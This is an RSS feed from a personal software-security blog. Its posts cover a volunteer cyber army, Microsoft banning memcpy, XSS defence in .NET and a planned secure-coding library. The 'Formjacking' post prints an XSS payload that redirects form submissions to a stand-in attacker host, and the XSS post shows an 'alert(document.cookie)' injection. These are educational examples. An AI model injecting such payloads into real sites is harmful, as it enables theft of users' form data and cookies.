<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Friese &#187; software security</title>
	<atom:link href="http://ericfriese.com/tag/software-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://ericfriese.com</link>
	<description>Software Security and Other Stuff</description>
	<lastBuildDate>Thu, 05 Jan 2012 14:16:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Building a Cyber Army</title>
		<link>http://ericfriese.com/2011/01/10/building-a-cyber-army/</link>
		<comments>http://ericfriese.com/2011/01/10/building-a-cyber-army/#comments</comments>
		<pubDate>Mon, 10 Jan 2011 16:41:42 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[software security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2011/01/10/building-a-cyber-army/</guid>
		<description><![CDATA[Recently saw an article about Estonia’s efforts to build a volunteer cyber army. Very cool idea. After being attacked and seeing how it affected their government, I could see why their citizens with security backgrounds would be willing to get involved. The article poses the questions of could this work in the US? The article [...]]]></description>
			<content:encoded><![CDATA[<p>Recently saw an article about Estonia’s efforts to build a <a href="http://www.net-security.org/secworld.php?id=10404">volunteer cyber army</a>. Very cool idea. After being attacked and seeing how it affected their government, I could see why their citizens with security backgrounds would be willing to get involved. The article poses the questions of could this work in the US? The article leans toward no, but I would say yes.</p>
<p>It is true that many techie types are suspicious of government, but I believe you could find a core group of people who would be willing to volunteer. They could form a new reserve service under USCYBERCOM using same model they have for the reserves now: train one weekend a month and be ready if needed. One caveat, no required PT! That would likely be a deal breaker for many. Hacking is a couch sport, so being able to run 3 miles or do 100 pushups doesn’t help. Multitasking skills, such as attacking targets while eating Cheetos and watching Family Guy, would be a better fit.</p>
<p>On another note, I think this line of progress will lead to a large swell in the size of the security community. When software development was young, you couldn’t just pluck some guy off the street and have him writing code in a couple of weeks. Now, IDEs and frameworks have matured so much that you can teach monkeys how to write code. Over time, the tools used for attacking/protecting targets will get better. You will still need good people planning things, but you will see more worker bees with less experience/education in security actually doing the work. </p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2011/01/10/building-a-cyber-army/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Nixes memcopy</title>
		<link>http://ericfriese.com/2009/05/15/microsoft-nixes-memcopy/</link>
		<comments>http://ericfriese.com/2009/05/15/microsoft-nixes-memcopy/#comments</comments>
		<pubDate>Fri, 15 May 2009 18:28:20 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[memcopy]]></category>
		<category><![CDATA[software security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/05/15/microsoft-nixes-memcopy/</guid>
		<description><![CDATA[Here’s an article stating that Microsoft has added memcopy to the list of naughty functions. This is really not a surprise in my opinion. For those of you who do not know why this is bad, memcopy copies data from one memory location to another. The problem is that it does not check the size [...]]]></description>
			<content:encoded><![CDATA[<p>Here’s an article stating that Microsoft has <a href="http://blogs.msdn.com/sdl/archive/2009/05/14/please-join-me-in-welcoming-memcpy-to-the-sdl-rogues-gallery.aspx">added memcopy to the list of naughty functions</a>. This is really not a surprise in my opinion. For those of you who do not know why this is bad, memcopy copies data from one memory location to another. The problem is that it does not check the size of the receiving location to make sure there is enough room. Over the years, this has caused many vulnerabilities. As any good C/C++ developer knows, good memory management is crucial.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/05/15/microsoft-nixes-memcopy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Formjacking</title>
		<link>http://ericfriese.com/2009/05/13/formjacking/</link>
		<comments>http://ericfriese.com/2009/05/13/formjacking/#comments</comments>
		<pubDate>Wed, 13 May 2009 21:32:35 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[software security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/05/13/formjacking/</guid>
		<description><![CDATA[Just read a cool post over at omg.wtf.bbq about a new attack called “formjacking”. Not sure about the attack name, but this is pretty neat. In FireFox 3 and IE7, self contained XHTML tags provide a way to exploit a XSS vulnerability and alter the action associated with a form tag. I’ve tested this out [...]]]></description>
			<content:encoded><![CDATA[<p>Just read a cool post over at <a href="http://i8jesus.com/?p=48">omg.wtf.bbq</a> about a new attack called “formjacking”. Not sure about the attack name, but this is pretty neat. In FireFox 3 and IE7, self contained XHTML tags provide a way to exploit a XSS vulnerability and alter the action associated with a form tag. I’ve tested this out and it also works with Google Chrome, so the same goes for the other WebKit based browsers like Safari.</p>
<p>The gist is that if you can insert a self contained form tag, the browser will ignore the other form tags. Let’s say that you have the following code:</p>
<pre class="csharpcode"><span class="kwrd">&lt;</span><span class="html">form</span> <span class="attr">action</span><span class="kwrd">="good.php"</span> <span class="attr">method</span><span class="kwrd">="post"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="text"</span> <span class="attr">name</span><span class="kwrd">="test"</span> <span class="attr">id</span><span class="kwrd">="test"</span><span class="kwrd">&gt;&lt;/</span><span class="html">input</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="Submit"</span> <span class="attr">value</span><span class="kwrd">="Submit"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;/</span><span class="html">form</span><span class="kwrd">&gt;</span></pre>
<p><!-- .csharpcode, .csharpcode pre { 	font-size: small; 	color: black; 	font-family: consolas, "Courier New", courier, monospace; 	background-color: #ffffff; 	/*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { 	background-color: #f4f4f4; 	width: 100%; 	margin: 0em; } .csharpcode .lnum { color: #606060; } --></p>
<p>If you can insert a self enclosed form tag:</p>
<pre class="csharpcode"><span class="kwrd">&lt;</span><span class="html">form</span> <span class="attr">action</span><span class="kwrd">="http://evilhaxor.com/pwned"</span> <span class="attr">method</span><span class="kwrd">="post" /</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">form</span> <span class="attr">action</span><span class="kwrd">="good.php"</span> <span class="attr">method</span><span class="kwrd">="post"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="text"</span> <span class="attr">name</span><span class="kwrd">="test"</span> <span class="attr">id</span><span class="kwrd">="test"</span><span class="kwrd">&gt;&lt;/</span><span class="html">input</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="Submit"</span> <span class="attr">value</span><span class="kwrd">="Submit"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;/</span><span class="html">form</span><span class="kwrd">&gt;</span></pre>
<p><!-- .csharpcode, .csharpcode pre { 	font-size: small; 	color: black; 	font-family: consolas, "Courier New", courier, monospace; 	background-color: #ffffff; 	/*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { 	background-color: #f4f4f4; 	width: 100%; 	margin: 0em; } .csharpcode .lnum { color: #606060; } --></p>
<p>Notice the forward slash at the end of the tag? The second form tag will be ignored and the post data will be sent to the inserted action.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/05/13/formjacking/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fighting XSS in .NET</title>
		<link>http://ericfriese.com/2009/04/19/fighting-xss-in-net/</link>
		<comments>http://ericfriese.com/2009/04/19/fighting-xss-in-net/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 00:35:38 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[software security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://ericfriese.com/?p=9</guid>
		<description><![CDATA[Cross Site Scripting (XSS) is listed as the top vulnerability on the OWASP Top 10 and one of the more dangerous vulnerabilities on the web. Because of the different ways to manipulate content, fighting XSS is a chore. For proof, check out the “XSS Cheat Sheet” at http://ha.ckers.org/xss.html. That list is still growing… The main [...]]]></description>
			<content:encoded><![CDATA[<p>Cross Site Scripting (XSS) is listed as the top vulnerability on the OWASP Top 10 and one of the more dangerous vulnerabilities on the web. Because of the different ways to manipulate content, fighting XSS is a chore. For proof, check out the “XSS Cheat Sheet” at <a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a>. That list is still growing…</p>
<p>The main way to fight cross site scripting is encoding. If convert unsafe characters into their html counterparts,  then malicious code will not be executed. In .NET, the HttpUtility.HtmlEncode method converts some unsafe characters for you. This is a good way to cleanse content before it is interpreted by the browser, but it won’t stop all XSS vulnerabilities.</p>
<p>HtmlEncode uses “blacklisting” to block unsafe characters. Blacklisting will stop some attempts, but leaves room for other attacks to happen if the coder is not careful. HtmlEncode converts the following characters:</p>
<ul>
<li>&lt;</li>
<li>&gt;</li>
<li>&amp;</li>
<li>“</li>
<li>Characters with values 160-255</li>
</ul>
<p>This will block most, but what if you fall into a false sense of security and forget what HtmlEncode does? If you were to execute something like this:</p>
<p>&lt;input value=’&lt;%= HtmlEncode(thisAction&#8217;)’ %&gt; id=’btnExecute’&gt;</p>
<p>If thisAction equaled alert(document.cookie), then the attack would work. This approach doesn’t seem rational, but I&#8217;ve seen worse.</p>
<p>A better approach is to use whitelisting. If you escape everything except what needs to be there, then you decrease your threat surface substantially.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/04/19/fighting-xss-in-net/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting to the Source</title>
		<link>http://ericfriese.com/2009/04/06/getting-to-the-source/</link>
		<comments>http://ericfriese.com/2009/04/06/getting-to-the-source/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 16:47:48 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[software security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/04/06/getting-to-the-source/</guid>
		<description><![CDATA[In my line of work I go to customer sites, scan software, and provide training on using our tools to write secure software. The problem is that while we’re talking about detailed attack categories, we don’t give much detail on how to fix them. There’s usually not enough time to show a developer how to [...]]]></description>
			<content:encoded><![CDATA[<p>In my line of work I go to customer sites, scan software, and provide training on using our tools to write secure software. The problem is that while we’re talking about detailed attack categories, we don’t give much detail on how to fix them. There’s usually not enough time to show a developer how to use regular expressions or html encoding to block vulnerabilities. Our academic institutions are not really teaching software security, so developers are on their own to learn how to do this.</p>
<p>We will always face the fight of having informed developers, but we can try to make security easier. One way to do this is making the frameworks we use to develop our applications more secure. The major frameworks are getting better at security, but they are still focused on functionality. They are the ones that have the power to make the web more secure, but there’s no pressure for them to do the work.</p>
<p>I’ve looked around the net and haven’t been able to find secure coding libraries that make security easier to implement. There are some that tackle individual attacks, but none that attempt a comprehensive solution. There will never be a full solution, but we can try to put together some of the pieces.</p>
<p>With that being said, I am considering writing a secure coding library for .NET. My initial thoughts are too rewrite the standard .NET controls to force some general validation and encoding. Fighting XSS will be fruitful, but SQL injection may be tougher. The ideal solution is to use parameterized or store procedures, but a large number of people do not follow this best practice. I will use the OWASP Top 10 2007 as a list of what vulnerabilities to conquer. I’m still struggling with open versus closed source. There are some corporate/government organizations that won’t use open source products, so I may make this closed source but free to download. I’ll continue to think about this. If someone happens to find this post and wants to comment, please do so.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/04/06/getting-to-the-source/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using apc
Page Caching using apc

Served from: ericfriese.com @ 2012-02-06 05:34:36 -->
